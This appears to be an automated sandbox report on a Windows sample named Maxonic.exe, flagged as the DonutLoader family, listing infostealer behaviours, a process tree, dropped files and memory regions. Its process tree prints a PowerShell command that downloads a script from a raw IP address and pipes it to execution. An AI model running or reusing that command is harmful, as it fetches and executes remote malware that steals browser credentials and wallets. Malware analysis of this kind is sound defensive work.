Analysis

  • max time kernel
    298s
  • max time network
    288s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20251016-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/11/2025, 14:38

General

  • Target
    Maxonic.exe
  • Size 191KB
  • Sample251122-rzsatstjer
  • SHA256 658d3acfc7e71d6b3451973ab8c207dca57264f9b17fc9e37c8b7a1e46561489
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects DonutLoader 1 IoCs
  • DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Donutloader family
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Maxonic.exe
    "C:\Users\Admin\AppData\Local\Temp\Maxonic.exe"
    1⤵
    • Checks computer location settings
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4144
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:5564
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        2⤵
          PID:3796
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "iwr http://95.217.39.238/ooewqi.ps1 |iex"
          2⤵
          • Badlisted process makes network request
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4124
      • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
        1⤵
          PID:3232
        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
          1⤵
            PID:372

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                A903D84B-96E8-BEA7-DC23-30BFE47BF857.txt

                • Path C:\ProgramData\A903D84B-96E8-BEA7-DC23-30BFE47BF857.txt
                • Size 64B
                • SHA256 412fe38c3496c3ebb9f085a5709d576a373a6e39c991a0b9fd21db1f5af5886f
                • MD5 SHA1 SHA512

                A903D84B-96E8-BEA7-DC23-30BFE47BF857.txt

                • Path C:\ProgramData\A903D84B-96E8-BEA7-DC23-30BFE47BF857.txt
                • Size 64B
                • SHA256 e3c4d9e5815bbe02e6a59d643c59db8bc5e2627cfa52751efbf118ed19d17e2e
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_kvktxq3i.a3c.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kvktxq3i.a3c.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                memory/4124-27-0x0000000006230000-0x0000000006296000-memory.dmp

                memory/4124-24-0x0000000005AB0000-0x00000000060D8000-memory.dmp

                memory/4124-25-0x0000000005930000-0x0000000005952000-memory.dmp

                memory/4124-23-0x0000000002FD0000-0x0000000003006000-memory.dmp

                memory/4124-26-0x0000000006150000-0x00000000061B6000-memory.dmp

                memory/4124-35-0x00000000062E0000-0x0000000006634000-memory.dmp

                memory/4124-36-0x00000000068E0000-0x00000000068FE000-memory.dmp

                memory/4124-37-0x0000000006920000-0x000000000696C000-memory.dmp

                memory/4124-38-0x0000000007FA0000-0x000000000861A000-memory.dmp

                memory/4124-39-0x0000000006DE0000-0x0000000006DFA000-memory.dmp

                memory/4144-4-0x000002192E560000-0x000002192E622000-memory.dmp